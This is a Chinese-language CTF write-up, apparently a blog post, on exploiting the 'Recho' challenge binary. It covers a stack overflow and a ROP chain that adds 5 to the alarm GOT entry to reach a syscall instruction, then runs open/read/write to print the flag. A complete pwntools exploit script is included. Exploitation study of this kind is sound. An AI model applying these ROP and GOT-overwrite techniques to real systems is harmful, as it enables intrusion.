[pwn]ROP:灵活运用syscall

灵活运用syscall

遇到了一个程序并不复杂,但利用却很麻烦的题目,Recho题目详细writeup,题目地址:Recho

按照惯例,查看安全策略:
在这里插入图片描述
基本没啥安全策略,然后查看程序逻辑,程序很短,就一个main:
在这里插入图片描述
很容易就找到溢出点,大体逻辑就是,先输入一个数,小于15会被认为是16,然后再输入一串字符串,程序会将前x(刚输入的数字)个字符拷贝到buf中,这里没有上限,所以存在溢出。但问题是,while(read())函数,只有当read()=0的时候才会结束,试了好多种能让read返回0的方法,只有中断程序才可以。那么面临的问题就是,中断程序之后不能继续操作了,所以只能一个ROP一R到底。

试着寻找一下是否有后门,真的发现了flag字符串:
在这里插入图片描述
也没有使用system函数,也没有给libc版本。这里可以采用syscall来获取flag。

syscall汇编指令执行时会根据eax的值来执行不同的函数(功能),对应表

但我们这个程序中并没有syscall函数:
在这里插入图片描述
那么我们还要熟悉在libc中使用syscall的函数,比如这个程序中就有的alarm函数:
在这里插入图片描述
可见,在alarm中调用了0x25号syscall,也就是sys_alarm。并且syscall的地址比alarm地址多5,这里由于不同libc中alarm地址不同,但syscall和alarm相对便宜是不变的5,所以只要想办法将got表中的alarm地址+5,那么就会将alarm变为syscall的功能,但我们需要自己手动给eax赋值。

有了syscall,我们就可以使用open()flag文件,然后将flag读取到程序中,从截止位置开始读就可以。然后再write写出来。那么我们需要一些gadget,首先是pop eax;ret的:
在这里插入图片描述
只有一个,正好,然后程序给了通用gadget:
在这里插入图片描述
然后还需要一个给alarm_got加5的,搜索一下add:
在这里插入图片描述
要选给指针内容+5的,这里没有直接+5,我们可以pop给rax5,然后再加al,通用gadget中有pop rdi;ret,所以可以选择这个gadget。

接下来万事具备,可以开始编写利用代码:

from pwn import *
p=remote('111.198.29.45',36835)
elf = ELF('./d7820a9699814e8480efa2d3a83c1533')

poprax_addr = 0x4006fc  #pop rax;ret
poprdi_addr = 0x4008a3  #pop rdi;ret
ppppppr_addr=0x40089A   #通用gadget
mmmc_addr=0x400880		#通用gadget
addrdi_addr = 0x40070d	#edi=edi+al
flag = 0x601058			#falg_addr
binsh_addr=0x601090		#存放binsh

alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
alarm_plt = elf.plt['alarm']

#修改alarm_got
payload='A'*0x38+p64(poprax_addr)+p64(0x05)+p64(poprdi_addr)+p64(alarm_got)+p64(addrdi_addr)
#调用open,先将eax置2,然后使用通用gadget打开flag
payload+=p64(poprax_addr)+p64(0x02)+p64(ppppppr_addr)+p64(0)+p64(1)+\
    p64(alarm_got)+p64(0)+p64(0)+p64(flag)+p64(mmmc_addr)+'A'*56
#用read读文件,将flag读入程序末尾
payload+=p64(ppppppr_addr)+p64(0)+p64(1)+\
    p64(read_got)+p64(0x30)+p64(binsh_addr)+p64(0x03)+p64(mmmc_addr)+'A'*56
#用write将刚读入的flag输出
payload+=p64(ppppppr_addr)+p64(0)+p64(1)+\
    p64(write_got)+p64(0x30)+p64(binsh_addr)+p64(0x01)+p64(mmmc_addr)

p.recvuntil('Welcome to Recho server!\n')
p.send(str(0x200) + '\n')
p.send(payload.ljust(0x200, '\x00'))
p.recv()
p.shutdown("send")   #中断输入
p.interactive()

成功!
在这里插入图片描述
总结一下就是,需要记住shutdown(“send”)可以中断输入,还有就是记得一些libc中有syscall的函数,再者灵活搜索程序中有的gadget。

发布了56 篇原创文章 · 获赞 288 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/100087036
今日推荐